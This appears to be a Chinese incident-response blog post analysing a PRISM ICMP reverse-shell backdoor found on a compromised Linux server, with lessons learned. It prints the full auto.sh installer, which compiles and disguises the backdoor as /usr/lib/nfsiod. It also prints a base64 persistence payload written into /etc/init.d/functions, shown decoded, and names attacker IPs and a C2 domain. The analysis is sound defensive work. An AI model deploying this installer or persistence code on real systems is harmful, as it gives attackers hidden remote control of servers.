这篇文章上次修改于 1345 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

前言

某晚客户安全设备监测到客户端存在异常请求,频繁请求境外IP的可疑脚本文件。通过对服务器检查发现,服务器每隔30分钟会请求2个境外(美国)IP。

同时防火墙也拦截了部分对境外web服务器的pl脚本文件请求,但进行检查时pl脚本已不存在,GET请求:

GET    http://63.80.4.1.*/cgi-bin/mgetmetar.pl?cccc=ZBAA
GET    http://63.80.4.*/cgi-bin/mgetmetar.pl?cccc=ZBAA
GET    http://104.116.243.*/cgi-bin/mgetmetar.pl?cccc=KBOS
GET    http://65.200.22.*/cgi-bin/mgetmetar.pl?cccc=ZBAA
GET    http://65.200.22.*/cgi-bin/mgetmetar.pl?cccc=ZBAA

木马分析

对服务器进行检查发现,服务器增加一枚“xxx”用户,并在该用户目录下存放1个C程序、gz压缩包及sh脚本文件,每隔30分钟会请求2个境外IP获取指令,分别为:65.200.22.208(美国)和65.200.22.233(美国):

3wenjjian.png

3个文件都是2017年创建,最早的文件auto.sh脚本文件在2017年10月28日创建:
1.jpg

以下为auto.sh脚本文件的内容:

#!/usr/bin/env bash
# Author:0x50 0x68 0x61 0x6E 0x74 0x30 0x6D
# 2013-11-16
os_bit=`uname -p`
if [ $# -ne 2 ]
then
    echo -e "\033[31m Usage:$0 reverseIP PORT \033[0m"
    exit 1;
fi
cd /tmp
sed -i "/define REVERSE_HOST/ {s/10.0.0.1/$1/g}" prism.c
sed -i "/define REVERSE_PORT/ {s/19832/$2/g}" prism.c
if [ ${os_bit} = "x86_64" ]
then
    gcc -DDETACH -DSTATIC -m64 -Wall -s -o prism prism.c
else
    gcc -DDETACH -DSTATIC -m32 -Wall -s -o prism prism.c
fi
rm -f prism.c
\mv prism /usr/lib/nfsiod
/usr/lib/nfsiod
echo "reverse shell backdoor install complete~"
echo "reverseIP: $1,PORT: $2 "
echo UElEUz1gcHMgLWVmIHwnXFtuZnNpb2RcXScgfGdyZXAgLXYgZ3JlcCB8IGF3ayAne3ByaW50ICQyfSdgDQppZiBbICIkUElEUyIgIT0gIiIgXTsgdGhlbg0Ka2lsbCAtOSAkUElEUw0KL3Vzci9saWIvbmZzaW9kIDE+L2Rldi9udWxsIDI+L2Rldi9udWxsDQoJZWxzZQ0KL3Vzci9saWIvbmZzaW9kIDE+L2Rldi9udWxsIDI+L2Rldi9udWxsDQpmaQ0KIA0KIA0KIA==|base64 -d >> /etc/init.d/functions

上述文件替换反向连接的IP及端口替换掉prism.c中的对应内容,然后进行gcc编译,并在编译前判断是64位或32位系统;接着编译生成的prism文件替换为“/usr/lib/nfsiod”并执行。
脚本结尾将下图Base64内容写入:“/etc/init.d/functions”文件中,通过解密字符串为以下内容:
2.jpg

base64解密后的代码:

PIDS=`ps -ef |'\[nfsiod\]' |grep -v grep | awk '{print $2}'`
if [ "$PIDS" != "" ]; then
kill -9 $PIDS
/usr/lib/nfsiod 1>/dev/null 2>/dev/null
    else
/usr/lib/nfsiod 1>/dev/null 2>/dev/null
fi

通过if判断实现不管通过ps –ef命令是否能查到进程ID都执行该程序并将程序输出丢入/dev/null(黑洞),已达到没任何输出信息及隐藏作用。
ps –ef命令查看进程存在7个名为nfsiod的进程,但在/proc/pid中未发现内容:
3.jpg

木马文件主程序prism.c文件,该文件为反弹shell脚本,使服务器运行后主动连接域名zzz.457467.com。

后面了解到是一款icmp反弹后门,github项目地址:

github传送门:PRISM

4.jpg

程序内包含清除防火墙iptables策略功能:

5.jpg

使用ICMP+Key通讯:

6.jpg

主要作用为启用的多个nfsiod进程主动去连接域名zzz.457467.com,以达到可以随时连接到被攻击的服务器为目的。

写到最后

本次应急是一两年前的一次事件应急,总是想写点东西还总是太懒了 - -!

此次应急,有以下几点总结:

  • 本次排查过程中ssh的日志及web日志记录周期太短了,在排查过程中很局限,没发挥太大作用。
  • 木马脚本的日期最早是2017年10月创建的,需了解期间服务器的变动及负责人。
  • 从整个分析及对互联网的防护策略来看,不是从Web作为攻击点进行攻击的。
  • 如果从80业务端口攻击的话,能写入服务器文件及创建操作系统用户的话需要的权限很高,结合上条似乎有其他原因。